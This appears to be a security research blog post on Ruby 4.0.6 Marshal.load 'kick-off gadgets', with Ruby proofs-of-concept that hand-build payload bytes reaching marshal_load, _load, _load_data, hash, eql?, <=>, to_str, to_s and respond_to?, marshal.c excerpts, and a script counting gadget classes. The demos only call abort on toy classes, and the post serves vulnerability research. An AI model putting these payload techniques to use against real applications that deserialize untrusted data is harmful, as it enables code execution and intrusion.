By

Luke Jahnke
August 26, 2026

Ruby Marshal Kick-off Gadgets

Nine ways Marshal.load hands control to attacker-chosen code on Ruby 4.0.6, six of them methods nobody wrote for deserialisation and none are likely to be patched away by maintainers.
ruby
deserialization
On This Page
Share:

Ruby Marshal Kick-off Gadgets

Introduction

In 2024, Trail of Bits reviewed the security of RubyGems.org. Finding TOB-RGM-9 of that report looks at the compressed Marshal spec data that RubyGems serves as .rz files, and notes:

Although this project is out of scope, and uses a SafeMarshal implementation, it is still interesting to consider. The Marshaled spec data is used in the Gem::Source and Bundler::Fetcher functionality. The former is commonly employed to exploit Ruby Marshal deserialization bugs.

It then makes the recommendation:

Long term, consider removing functionality associated with these .rz files, or moving to a safer serialization format such as JSON.

Although this would remove a risk when handling untrusted gems, and many useful deserialization gadgets with it, this backwards compatibility breaking change has not happened. Kick-off gadgets would appear to suffer most. There are only a handful, every published universal chain has used one from RubyGems, and they have already been whittled down by code changes made in an attempt to neutralise their utility.

While developing our Ruby 4.0 chain we became curious what a world without any explicit entrypoints (marshal_load, _load, _load_data) would look like. What does Marshal.load call implicitly?

These are our postcards from the post-marshal_load world.

Why kick-off gadgets are different

A deserialization gadget chain has a first link. Something in the deserializer has to make the first call into a method the attacker chose, using nothing but the bytes of the payload. We call that first call the kick-off gadget, and it is a distinct thing from the gadgets that follow it.

The distinction matters because the rules are different. An intermediate gadget is reached because the previous gadget called it, so its receiver and arguments are whatever the previous gadget passed along, and the set of methods available is whatever that previous gadget happens to call. A kick-off gadget is reached because Marshal.load itself called it, on an object the payload named and populated.

Every published universal Ruby deserialization chain we are aware of hijacks control with marshal_load, _load or _load_data, with one exception. Our Ruby 4.0 chain included an implicit one: hash, called on a Gem::StubSpecification because it had been placed as a Hash key.

The documented entrypoints

Ruby documents three ways for a class to take over its own deserialization, and all three are the obvious place to start.

marshal_dump/marshal_load and _dump/_load are both described in the Marshal module overview:

When loading an object dumped using marshal_dump the object is first allocated then marshal_load is called with the result from marshal_dump.
The class method _load should take a String and use it to return an object of the same class.

The third, _load_data, is not in the module overview at all. It appears only in the marshal format specification, under the description of the "d" type byte:

To dump a Data object Ruby calls _dump_data. To load a Data object Ruby calls _load_data with the state of the object on a newly allocated instance.

marshal_load

Type byte U (TYPE_USRMARSHAL). Marshal.load allocates an instance of the named class and calls marshal_load on it with one fully attacker-controlled object.


class MarshalLoadMe
  def marshal_load(*args)
    abort "#{__method__} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_USRMARSHAL = "U"
klass = Marshal.dump(:MarshalLoadMe)[2..]
marshal_load_arg = Marshal.dump(nil)[2..]

payload = MARSHAL_VERSION + TYPE_USRMARSHAL + klass + marshal_load_arg

Marshal.load(payload)

$ ruby marshal_load.rb
marshal_load was called with args [nil]

This is the most common entrypoint used in universal deserialization gadget chains, and it is the one maintainers have spent the most effort hardening.

_load

Type byte u (TYPE_USERDEF). The receiver is the named class itself rather than an instance, and the argument is a String whose bytes come straight from the payload.


class LoadMe
  def self._load(*args)
    abort "#{method(__method__)} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_USERDEF = "u"
klass = Marshal.dump(:LoadMe)[2..]
load_str_arg = "foo"
load_str_arg_len = Marshal.dump(load_str_arg.bytesize)[3..]

payload = MARSHAL_VERSION + TYPE_USERDEF + klass + load_str_arg_len + load_str_arg

Marshal.load(payload)

$ ruby _load.rb
#<Method: LoadMe._load(*args) _load.rb:2> was called with args ["foo"]

Because the argument is a String and not an arbitrary object graph, _load is only useful when the implementation does something interesting with those bytes. Gem::Specification._load did in the past, which is why the 2022 universal chain used it, though it no longer calls to_s on what it recovers. Time._load was found to be useful and was included in our Ruby 4.0 chain.

_load_data

Type byte d (TYPE_DATA). The named class must allocate to a T_DATA object, which in practice means it must have been defined by a C extension using TypedData_Make_Struct or similar. The reproducer reopens Random as it is such a class: rb_define_alloc_func passes random_alloc which uses TypedData_Make_Struct.

ObjectSpace.dump can be used to inspect whether a class allocates as T_DATA:


$ ruby -robjspace -e 'puts ObjectSpace.dump(Random.allocate)'
{"address":"0x7fd346677480", "type":"DATA", "shape_id":0, "slot_size":40, "class":"0x7fd3618dd858", "struct":"random/MT", "memsize":2560}

class Random
  def _load_data(*args)
    abort "#{__method__} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_DATA = "d"
klass = Marshal.dump(:Random)[2..]
load_data_arg = Marshal.dump(nil)[2..]

payload = MARSHAL_VERSION + TYPE_DATA + klass + load_data_arg

Marshal.load(payload)

$ ruby _load_data.rb
_load_data was called with args [nil]

Like marshal_load, the argument is a fully controlled object. Unlike marshal_load, we could not find a single class in the standard library that actually defines _load_data.

The unexpected kick-off gadgets

Everything above is a method a class defines in order to participate in marshalling. Everything below is a method that exists for unrelated reasons, and gets called anyway.

These are all familiar as useful intermediate gadgets, with to_s featuring quite regularly. What is not widely appreciated is that all six can be triggered directly by Marshal.load without pivoting via marshal_load call.

hash

Type byte { (TYPE_HASH). Marshal.load rebuilds a hash by inserting each key/value pair as it reads them:


      case TYPE_HASH:
      case TYPE_HASH_DEF:
        {
            long len = r_keep_readable(arg, r_long(arg), 2);

            v = hash_new_capa(len);
            v = r_entry(v, arg);
            arg->readable += (len - 1) * 2;
            while (len--) {
                VALUE key = r_object(arg);
                VALUE value = r_object(arg);
                rb_hash_aset(v, key, value);

rb_hash_aset hashes the key, and hashing a key means calling its hash method.


class HashMe
  def hash(*args)
    abort "#{method(__method__)} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_HASH = "{"
hash_entry_count = Marshal.dump(1)[3..]
key = Marshal.dump(HashMe.new)[2..]
value = Marshal.dump(nil)[2..]

payload = MARSHAL_VERSION + TYPE_HASH + hash_entry_count + key + value

Marshal.load(payload)

$ ruby hash.rb
#<Method: HashMe#hash(*args) hash.rb:2> was called with args []

This is a kick-off gadget our Ruby 4.0 chain used which is unlikely to be disabled in the future. This is because it is the interaction of two fundamental features, a Hash hashing its keys and Marshal.load reconstructing a Hash.

eql?

Type byte { (TYPE_HASH) again, but one step further. If two keys hash alike, Hash has to ask whether they are actually equal, and it does that with eql?. The reproducer solves this for demonstration purposes by having hash derive from an instance variable that is never set, so both instances return nil.hash, which will be identical:


# eql? called when a Hash's keys have equal hash values
# nil.hash == nil.hash

class EqlMe
  def hash
    @instance_var.hash
  end

  def eql?(*args)
    abort "#{method(__method__)} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_HASH = "{"
hash_entry_count = Marshal.dump(2)[3..]
key0 = Marshal.dump(EqlMe.new)[2..]
key1 = Marshal.dump(EqlMe.new)[2..]
value = Marshal.dump(nil)[2..]

payload = MARSHAL_VERSION + TYPE_HASH + hash_entry_count + key0 + value + key1 + value

Marshal.load(payload)

$ ruby eql.rb
#<Method: EqlMe#eql?(*args) eql.rb:9> was called with args [#<EqlMe:0x00007f6a798f7d80>]

In a real chain we do not get to define hash of course, so one path is finding a class whose hash is derived from its instance variables, allowing you to put two instances with identical instance variables in as keys.

Another path works on any class at all, and comes out of how little Hash checks before it gives up and calls eql?. When eight keys or less are used, Ruby keeps them in a flat array and compares only the low byte of each hash.

Relying on two of them colliding by chance would be a mistake, because Object#hash multiplies a monotonically increasing object id by a constant and folds the 128 bit product in half with an XOR, which walks consecutively allocated objects through the low byte in a regular rotation rather than scattering them, so eight of them collide only 0.4% of the time instead of the 10.5% that random bytes would give. We can improve the odds significantly by making one of the eight keys an array of many objects, as hashing an array will hash every item inside it, and each of those takes the next object id. The size of the array therefore sets the distance between the keys either side of it, and thirteen objects, found experimentally, raises the odds from 0.4% to 19%.

<=>

Type byte o (TYPE_OBJECT), with the class name Range.

Range is one of a handful of core classes registered with rb_marshal_define_compat, a mechanism that lets a C class be dumped in one shape and loaded through a fixup function. Range's fixup function is range_loader:


static VALUE
range_loader(VALUE range, VALUE obj)
{
    VALUE beg, end, excl;

    if (!RB_TYPE_P(obj, T_OBJECT) || RBASIC(obj)->klass != rb_cObject) {
        rb_raise(rb_eTypeError, "not a dumped range object");
    }

    range_modify(range);
    beg = rb_ivar_get(obj, id_beg);
    end = rb_ivar_get(obj, id_end);
    excl = rb_ivar_get(obj, id_excl);
    if (!NIL_P(excl)) {
        range_init(range, beg, end, RBOOL(RTEST(excl)));
    }
    return range;
}

All three of begin, end and excl are read straight out of instance variables the payload supplies, and if excl is non-nil the loader calls range_init, which validates the endpoints by comparing them:


    if ((!FIXNUM_P(beg) || !FIXNUM_P(end)) && !NIL_P(beg) && !NIL_P(end)) {
        VALUE v;

        v = rb_funcall(beg, id_cmp, 1, end);
        if (NIL_P(v))
            rb_raise(rb_eArgError, "bad value for range");
    }

rb_funcall(beg, id_cmp, 1, end) is @begin <=> @end, with both sides supplied by the payload:


class SpaceshipMe
  def <=>(*args)
    abort "#{method(__method__)} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_OBJECT = "o"
klass = Marshal.dump(:Range)[2..]
ivar_count = Marshal.dump(3)[3..]
ivar0_name = Marshal.dump(:excl)[2..]
ivar0_value = Marshal.dump(true)[2..]
ivar1_name = Marshal.dump(:begin)[2..]
ivar1_value = Marshal.dump(SpaceshipMe.new)[2..]
ivar2_name = Marshal.dump(:end)[2..]
ivar2_value = Marshal.dump(Object.new)[2..]

payload = MARSHAL_VERSION + TYPE_OBJECT + klass + ivar_count +
          ivar0_name + ivar0_value + ivar1_name + ivar1_value + ivar2_name + ivar2_value

Marshal.load(payload)

$ ruby spaceship.rb
#<Method: SpaceshipMe#<=>(*args) spaceship.rb:5> was called with args [#<Object:0x00007feb9bf578f8>]

Like eql?, this gives control of both receiver and argument, and unlike eql? it does not require the two objects to be related in any way. Deserialization continues normally as long as <=> returns something other than nil.

to_str

Any type byte that can carry instance variables, such as o (TYPE_OBJECT) used below, or I (TYPE_IVAR), which attaches them to almost anything else, an Array, Hash or Float included.

While reading instance variables back, Marshal.load intercepts two names. One is encoding, which it treats as a request to re-associate the object's encoding rather than as an ordinary attribute:


static int
sym2encidx(VALUE sym, VALUE val)
{
    RBIMPL_ATTR_NONSTRING() static const char name_encoding[8] = "encoding";
[...]
    if (name_equal(name_encoding, sizeof(name_encoding), p, l)) {
        int idx = rb_enc_find_index(StringValueCStr(val));
        return idx;
    }

StringValueCStr(val) is a C-level string coercion, and coercing an arbitrary object to a string in Ruby means calling to_str on it. The object carrying the instance variable can be a plain Object; only the value has to be the gadget:


class ToStrMe
  def to_str(*args)
    abort "#{method(__method__)} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_OBJECT = "o"
klass = Marshal.dump(:Object)[2..]
ivar_count = Marshal.dump(1)[3..]
ivar_name = Marshal.dump(:encoding)[2..]
ivar_value = Marshal.dump(ToStrMe.new)[2..]

payload = MARSHAL_VERSION + TYPE_OBJECT + klass + ivar_count + ivar_name + ivar_value

Marshal.load(payload)

$ ruby to_str.rb
#<Method: ToStrMe#to_str(*args) to_str.rb:2> was called with args []

to_s

The other intercepted instance variable name is K, the ruby2_keywords flag. It is only meaningful on a Hash, and r_ivar raises when it is applied to anything else:


            else if (symname_equal_lit(sym, name_s_ruby2_keywords_flag)) {
                if (RB_TYPE_P(obj, T_HASH)) {
                    rb_hash_ruby2_keywords(obj);
                }
                else {
                    rb_raise(rb_eArgError, "ruby2_keywords flag is given but %"PRIsVALUE" is not a Hash", obj);
                }
            }

%"PRIsVALUE" interpolates a Ruby object into the message, which means calling to_s on it. The 3.4 chain reached to_s in a similar way, through UncaughtThrowError, where uncaught_throw_to_s formats the error message, so a %s conversion in it triggers a to_s call on another of the error's instance variables.

The receiver here is the object being deserialized, so the payload picks it by class name:


class ToSMe
  def to_s(*args)
    abort "#{method(__method__)} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_OBJECT = "o"
klass = Marshal.dump(:ToSMe)[2..]
ivar_count = Marshal.dump(1)[3..]
ivar_name = Marshal.dump(:K)[2..]
ivar_value = Marshal.dump(true)[2..]

payload = MARSHAL_VERSION + TYPE_OBJECT + klass + ivar_count + ivar_name + ivar_value

Marshal.load(payload)

$ ruby to_s.rb
#<Method: ToSMe#to_s(*args) to_s.rb:2> was called with args []

There is a second route to the same call, on the other side of the same function. If the instance variable is a recognised encoding attribute but the object cannot carry an encoding, r_ivar_encoding raises with the same interpolation:


        else {
            rb_raise(rb_eArgError, "%"PRIsVALUE" is not enc_capable", obj);
        }

An :E ivar set to true on any non-string object gets there:


$ ruby -e 'class T; def to_s; abort "to_s ran"; end; end
> Marshal.load("\x04\bo:\x06T\x06:\x06ET")'
to_s ran

respond_to?

Type bytes U, u and d.

Before dispatching to any of the three documented entry-points, Marshal.load checks that the target actually implements it:


            if (!rb_obj_respond_to(v, s_mload, TRUE)) {
                rb_raise(rb_eTypeError, "instance of %"PRIsVALUE" needs to have method 'marshal_load'",
                         name);
            }

rb_obj_respond_to calls respond_to?, and the object it calls it on has already been allocated from the class the payload named:


class RespondToMe
  def respond_to?(*args)
    abort "#{__method__} was called with args #{args.inspect}"
  end
end

MARSHAL_VERSION = "\x04\x08".b
TYPE_USRMARSHAL = "U"
klass = Marshal.dump(:RespondToMe)[2..]
marshal_load_arg = Marshal.dump(nil)[2..]

payload = MARSHAL_VERSION + TYPE_USRMARSHAL + klass + marshal_load_arg

Marshal.load(payload)

$ ruby respond_to.rb
respond_to? was called with args [:marshal_load, true]

The arguments are not freely controlled, but they are not fixed either. The type byte selects between three of them, and it also selects what kind of object the receiver is:

Type byte Receiver Arguments
U a fresh instance of the named class (:marshal_load, true)
d a fresh T_DATA instance of the named class (:_load_data, true)
u the named class object itself (:_load, true)

That last row is the interesting one, because the receiver is a Class and the method that gets called is its singleton respond_to?.

The d variant confirms the pattern:


$ ruby -e 'class Random; def respond_to?(*a); abort "respond_to? called with #{a.inspect}"; end; end
> Marshal.load("\x04\bd:\vRandom0")'
respond_to? called with [:_load_data, true]

Although a default Ruby process has essentially no classes that override respond_to? in a way worth calling, it is included as it is a potential dispatch into attacker-selected Ruby code before any documented entrypoint runs, and any application that defines a dynamic respond_to? adds to the pool.

Counting kick-off gadgets without RubyGems

Everything above establishes what Marshal.load can call. Whether that is worth anything depends on how many classes in a running process actually define those methods.

The script below counts them. It walks every named class in the process and, for each entrypoint, records the classes that would dispatch to something other than the default inherited implementation. It is run with --disable-gems so the numbers describe a process in which RubyGems was never loaded, which is as close as we can get to the world the Trail of Bits recommendation gestures at.


require "objspace"

# A method inherited from one of these was not written as an override, and
# counting it would make every class in the process a hit.
INHERITED = [Object, Kernel, BasicObject, Class, Module]

def survey(name, singleton: false, type: nil)
  owners = Hash.new(0)

  ObjectSpace.each_object(Class) do |klass|
    next unless klass.name # a payload names its class, so anonymous ones are unreachable

    receiver = singleton ? klass.singleton_class : klass
    owner = receiver.instance_method(name).owner rescue next
    next if INHERITED.include?(owner)

    if type
      instance = klass.allocate rescue next
      # JSON.parse would be better but requiring json adds new classes
      next unless ObjectSpace.dump(instance).include?(format('"type":"%s"', type))
    end

    owners[owner] += 1
  end

  puts "| `#{name}` | #{owners.size} | #{owners.values.sum} |"
end

puts "| Method | Implementations | Classes |"
puts "| --- | --- | --- |"
survey(:marshal_load)
survey(:_load, singleton: true)
survey(:_load_data)
survey(:hash)
survey(:eql?)
survey(:<=>)
survey(:to_str)
# the `o` type byte can only rebuild a class that allocates as T_OBJECT
survey(:to_s, type: "OBJECT")
survey(:respond_to?)

The two columns measure different things. Implementations is the number of distinct definitions, and Classes is the number of named classes a payload can choose from, which is larger whenever an override on a base class is inherited by a subclass.


$ ruby --version
ruby 4.0.6 (2026-07-14 revision 03b6d3f889) +PRISM [x86_64-linux]
$ ruby --disable-gems survey-loaded-code.rb
Method Implementations Classes
marshal_load33
_load33
_load_data00
hash1821
eql?1823
<=>1315
to_str23
to_s3192
respond_to?1191

The same split shows up clearly once the counts are plotted side by side, three documented entrypoints barely registering next to the six implicit gadgets that make up most of the surface.

Distinct implementations per entrypoint in a --disable-gems Ruby 4.0.6 process, red for the three documented entrypoints and blue for the six implicit gadgets that were never overrides in the first place.

marshal_load exposes three entrypoints, the classes Random, Complex::compatible, Rational::compatible.

Complex and Rational use the rb_marshal_define_compat shim and Random is an ordinary class. The lowercase names are what Ruby uses to keep classes out of normal constant lookup, and Object.const_get does reject them, but Marshal resolves names with rb_path_to_class, which looks up the raw identifier and never applies that rule, so a payload is fine to name them.

_load exposes three as well, but a different three: Time, Encoding and NameError::message. Time._load is the one our 4.0 chain used.

A class defines either method to explicitly participate in marshalling, so every implementation is a deliberate decision by a maintainer, and every one of them may be reconsidered or hardened in the future. That is exactly what happened to the RubyGems kick-off gadgets.

The implicit six do not work that way. hash and eql? are defined on String, Array, Hash, Float, Time, Range, Struct and Data among others, because those types have to work as hash keys, and <=> on the ordered types for the same sort of reason. Removing RubyGems does take some of them with it, since its own classes define these methods too, but the core ones stay, and eighteen implementations of hash remain against three of marshal_load. No maintainer added any of them for marshalling, and none are likely to be removed.

to_s and respond_to? show what inheritance does to these numbers. Between them they are four implementations reached through a little under two hundred classes each, which is essentially the exception hierarchy inheriting a definition from its base class. That is also why they are the weakest rows in practice, since a class count of 192 is not 192 behaviours to choose between, and the behaviour on offer was written to format an error message.

<=> is the row worth looking at hardest. Its receiver and its argument are allowed to be two unrelated objects, both taken from instance variables the payload supplies.

Three caveats on the numbers.

  1. They are an upper bound without determining if any of them do something an attacker can steer. This is left as an exercise to future gadget hunters.
  2. --disable-gems removes RubyGems wholesale, while TOB-RGM-9 asks only for the .rz functionality to go, so the table is a floor of what the recommendation could leave behind. A real application, which loads a framework and its dependencies before it ever calls Marshal.load, sits well above it.
  3. These extra six are what we found by reading the loader, there may be more.

marshal.c is not large, and we would encourage anyone interested to read it looking for calls we missed, and to point the script at their own application's classes, where the interesting counts are.

Conclusion

Expert security firms are hired to find weaknesses and to say how to close them. TOB-RGM-9 does something more useful than that, naming a capability that was not a vulnerability, in a project that was out of scope, and asking for it to be removed anyway. The honest way to learn what taking that advice would achieve is to attack the result head on. We chose to attack the start of the chain, assumed the RubyGems kick-off gadgets were gone, and asked what Marshal.load still calls on its own.

The documented entrypoints are the part that answers to the recommendation. In the gem free process we measured, which is already more than the recommendation asks for, marshal_load and _load are down to three implementations each, and _load_data to none. Every one of those was written on purpose, limited in scope and may be removed in future Ruby releases.

The new six kick-off gadgets have a distinctly different flavour. hash is a Hash hashing its keys, <=> is a Range validating its endpoints, to_s and to_str are an error message and an encoding lookup doing what they were written to do.

As the floor continues to rise making universal deserialization gadget chains more difficult to construct, the six will still be there, because none of them was added for marshalling and none of them, we think, are likely to be removed from it. The explicit entrypoints that classes volunteer are closing, and what is left will likely be reached through Marshal's own implicit behaviour instead. These may be harder to utilise, but we think a fair bit more interesting.

More postcards soon, ciao bella!